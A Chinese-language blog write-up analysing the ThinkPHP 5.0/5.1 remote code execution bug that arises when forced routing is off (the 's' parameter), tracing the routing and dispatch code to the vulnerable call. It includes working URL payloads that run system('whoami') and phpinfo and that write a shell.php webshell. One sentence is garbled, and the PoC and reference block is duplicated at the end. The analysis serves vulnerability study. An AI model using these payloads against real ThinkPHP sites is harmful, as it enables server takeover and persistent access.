ThinkPHP5.x未开启强制路由(s参数)RCE

ThinkPHP5.x未开启强制路由(s参数)RCE

官方公告:https://blog.thinkphp.cn/869075

由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本

ThinkPHP5基础

环境搭建

官网直接下载完整包 https://www.thinkphp.cn/down/870.html

或者composer安装

composer create-project topthink/think=5.1.20 tp5.1.20

composer.json文件中topthink/framework": "5.1.*改为topthink/framework": "5.1.20,再执行composer update

也可以去github下载应用项目仓和核心框架,下载对应版本,然后把核心框架解压到应用项目的thinkphp文件夹

image-20230107014834880

启动应用:php -S localhost:80 -t public

目录结构

public目录通常作为web目录访问内容,入口文件通常为index.php

project  应用部署目录
├─application           应用目录(可设置)
│  ├─common             公共模块目录(可更改)
│  ├─index              模块目录(可更改)
│  │  ├─config.php      模块配置文件
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  ├─command.php        命令行工具配置文件
│  ├─common.php         应用公共(函数)文件
│  ├─config.php         应用(公共)配置文件
│  ├─database.php       数据库配置文件
│  ├─tags.php           应用行为扩展定义文件
│  └─route.php          路由配置文件
├─extend                扩展类库目录(可定义)
├─public                WEB 部署目录(对外访问目录)
│  ├─static             静态资源存放目录(css,js,image)
│  ├─index.php          应用入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于 apache 的重写
├─runtime               应用的运行时目录(可写,可设置)
├─vendor                第三方类库目录(Composer)
├─thinkphp              框架系统目录
│  ├─lang               语言包目录
│  ├─library            框架核心类库目录
│  │  ├─think           Think 类库包目录
│  │  └─traits          系统 Traits 目录
│  ├─tpl                系统模板目录
│  ├─.htaccess          用于 apache 的重写
│  ├─.travis.yml        CI 定义文件
│  ├─base.php           基础定义文件
│  ├─composer.json      composer 定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     惯例配置文件
│  ├─helper.php         助手函数文件(可选)
│  ├─LICENSE.txt        授权说明文件
│  ├─phpunit.xml        单元测试配置文件
│  ├─README.md          README 文件
│  └─start.php          框架引导文件
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

命名空间

ThinkPHP5采用命名空间方式定义和自动加载类库文件,系统内置的几个根命名空间(类库包)如下:

名称 描述 类库目录
think 系统核心类库 thinkphp/library/think
traits 系统Trait类库 thinkphp/library/traits
app 应用类库 application

URL访问

典型(未启用路由)的URL访问规则,即PATH_INFO

http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]

当服务器不支持PATH_INFO的时候可以使用兼容模式访问:

http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

url默认不区分大小写,访问驼峰命名的控制器类使用下划线分割如:blog_test

ThinkPHP v5.0.x

  • 影响版本:5.0.5 <= version <= 5.0.22

  • 漏洞点:\think\App::module

    修复:版本更新 · top-think/framework@4cbc0b5 · GitHub

    \think\App::module函数中添加正则过滤

    image-20230107013037758

生命周期

ThinkPHP为单程序入口,通常用于定义一些常量,由此加载引导文件start.php

// 定义项目路径
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

start.php文件为默认引导文件,会调用base.php基础引导文件。并依次加载系统常量定义、环境变量定义文件;注册自动加载机制、注册错误和异常处理机制;加载惯例配置文件Config.php;执行应用 App::run()->send(),去进行应用初始化过程。

初始化过程主要为加载各类定义、配置文件以及公共、拓展函数文件,并注册应用命名空间。还有设置时区以及加载语言包。

初始化完成后,若未设置调度信息会在\think\App::routeCheck进行URL路由检测(根据PATH_INFO)。

image-20230106215942813

\think\App::routeCheck会调用\think\Request::path进行PATH_INFO检测。

image-20230106223029814

image-20230106220656342

获取到path后进行路由检查

image-20230106223310842

ThinkPHP5.0的路由有三种方式:

  • 普通模式:关闭路由,完全使用默认的PATH_INFO方式URL;
'url_route_on' => false
  • 混合模式:开启路由,并使用路由定义+默认PATH_INFO方式的混合;
'url_route_on' => true,'url_route_must' => false
  • 强制模式:开启路由,并设置必须定义路由才能访问:
'url_route_on' => true,'url_route_must' => true

在默认混合模式下,会进行URL的路由检测,路由地址表示定义的路由表达式最终需要路由到的地址以及一些需要的额外参数,支持下面5种方式定义:

定义方式 定义格式
方式1:路由到模块/控制器 ‘[模块/控制器/操作]?额外参数1=值1&额外参数2=值2…’
方式2:路由到重定向地址 ‘外部地址’(默认301重定向) 或者 [‘外部地址’,‘重定向代码’]
方式3:路由到控制器的方法 ‘@[模块/控制器/]操作’
方式4:路由到类的方法 ‘\完整的命名空间类::静态方法’ 或者 ‘\完整的命名空间类@动态方法’
方式5:路由到闭包函数 闭包函数定义(支持参数传入)

接着就是分发请求,以上的五种路由定义方式也对应各自的分发请求机制,默认为模块/控制器/操作。然后响应输出,控制器的所有操作方法都是return返回而不是直接输出。

结合代码的详细流程分析可参考:Thinkphp 源码阅读

路由解析

这里主要关注兼容模式时候的解析方式

上面提到在初始化完成后会进行URL路由检测,其中包括PATH_INFO检测,需要获取到正常的$_SERVER['PATH_INFO']参数后才能继续。

PATH_INFO检测由\think\Request::pathinfo函数完成,当GET请求中带有s参数(config中的默认值),即以兼容模式处理时,将pathinfo设置为s的参数值。

image-20230106221718782

image-20230106221811611

在获取到path后回到\think\App::routeCheck进行解析,路由检测无效且在默认的混合模式下'url_route_must' => false时,最后会由\think\Route::parseUrl函数解析

image-20230106223527585

$url为前面的pathinfo,$depr为默认的分割符/,首先对$url替换分割符为|

image-20230107002904413

接着由\think\Route::parseUrlPath函数,分隔符替换后统一根据/分割,产生$path对应$route变量中的module、controller、action

image-20230107003117868

接着解析$path中的模块、控制器、操作

image-20230107003430483

然后进行封装,并返回值到\think\App::run 的 $dispatch变量

image-20230107004406736

然后会根据这个调度信息进行应用调度,这里为路由定义方式中的module类型

image-20230107004227559

漏洞点

接着上面的过程开始,这里使用的为:

localhost/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

其中controller=>\think\app,代表library/think/App.php,后面的action实际调用\think\App::invokefunction函数

image-20230107005218451

\think\App::module函数中拿到实例化后的对象和方法后通过\think\App::invokeMethod函数调用反射执行类的方法

image-20230107005706384

这里通过\think\App::bindParams函数从get或post中获取到函数参数名的同名变量。如这里的invokeFunction($function, $vars = [])函数传参即为function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

image-20230107011445291

image-20230107011423902

最终调用\think\App::invokefunction函数去执行call_user_func_array函数,同样由\think\App::bindParams函数获取参数,poc中通过二维数组对函数传参

image-20230107011242090

ThinkPHP v5.1.x

  • 影响版本:5.1.0 <= version <= 5.1.30
  • 漏洞点:thinkphp/library/think/route/dispatch/Module.php
  • 修复:修正控制器调用 · top-think/framework@802f284 · GitHub
    ThinkPHP5.x未开启强制路由(s参数)RCE

同样由\think\App::run开始进入\think\App::routeCheck

image-20230109230012833

\think\App::routeCheck还是由\think\Request::path函数进行PATH_INFO检测,获取到path后进行路由检查。最后会返回一个Url(继承于Dispatch)对象。

image-20230109221327056

接着调用\think\route\dispatch\Url::init在其中由\think\route\dispatch\Url::parseUrl进行解析,返回的结果对应$route变量中的module、controller、action

image-20230109231839515

漏洞点

返回Module(继承Dispatch)对象,并且调用了\think\route\dispatch\Module::init函数,设置控制器和操作名

image-20230109232055414

回到\think\App::run将解析后的路由填充到dispatch

image-20230109222002283

接着到\think\Middleware::dispatch进行中间件调度获取$response,这里调用的是\think\Middleware::resolve函数

image-20230109234852004

该函数通过array_shift()函数把之前\think\App中通过$this->middleware->add添加的那个匿名函数赋值给$middleware,再继续将$middleware的值通过赋值给call。以通过‘calluserfuncarray(call。以通过`call_user_func_array(call。以通过calluserfuncarray(call,…),再对\think\App`中的匿名函数进行回调

image-20230110001129363

回到think\App->closure,调用\think\route\Dispatch::run。这里的use作用是给该匿名函数传参

image-20230110001455042

image-20230110001706929

\think\route\dispatch\Module::exec函数先实例化控制器,用于后面的闭包函数

image-20230110002215525

image-20230110005500833
然后直接return,接着又是中间件调度,这里的将会调用exec()函数里面的闭包函数controller,获取操作方法,以及参数。参数最终由\think\Request::filterValue处理得到。

image-20230110005741381

image-20230110005927636

最后由invokeReflectMethod调用反射执行类的方法。

image-20230110010534820

image-20230110010107474

最终调用\think\Container::invokeFunction去执行函数。

image-20230110010257833

image-20230110003734948

调用过程和5.0比相对复杂,但思路基本相同:利用/分割出能利用的controller,并输入相应的参数值。

后面就是寻找可以利用的类以及方法,比如上面获取参数的\think\Request::filterValue函数就有个代码执行点

?s=index/\think\Request/input&filter=phpinfo&data=1

image-20230110011512489

写文件:\think\template\driver\File::write

?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

ThinkPHP5.x未开启强制路由(s参数)RCE

POC

#命令执行
s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
s=index/\think\container/invokeFunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1
#写文件 tp5.0不可用  
s=index/\think\Request/input&filter=phpinfo&data=1

参考

https://www.kancloud.cn/manual/thinkphp5/118011

https://y4er.com/posts/thinkphp5-rce

function=call_user_func_array&vars[0]=system&vars[1][]=whoami

s=index/\think\container/invokeFunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1
#写文件 tp5.0不可用
s=index/\think\Request/input&filter=phpinfo&data=1


## 参考
> https://www.kancloud.cn/manual/thinkphp5/118011
>
> https://y4er.com/posts/thinkphp5-rce
>
> https://blog.0kami.cn/blog/2019/thinkphp-v5.x-App.php-rce/
                       

点击阅读全文

上一篇 2023年 5月 28日 am10:50
下一篇 2023年 5月 28日 am10:51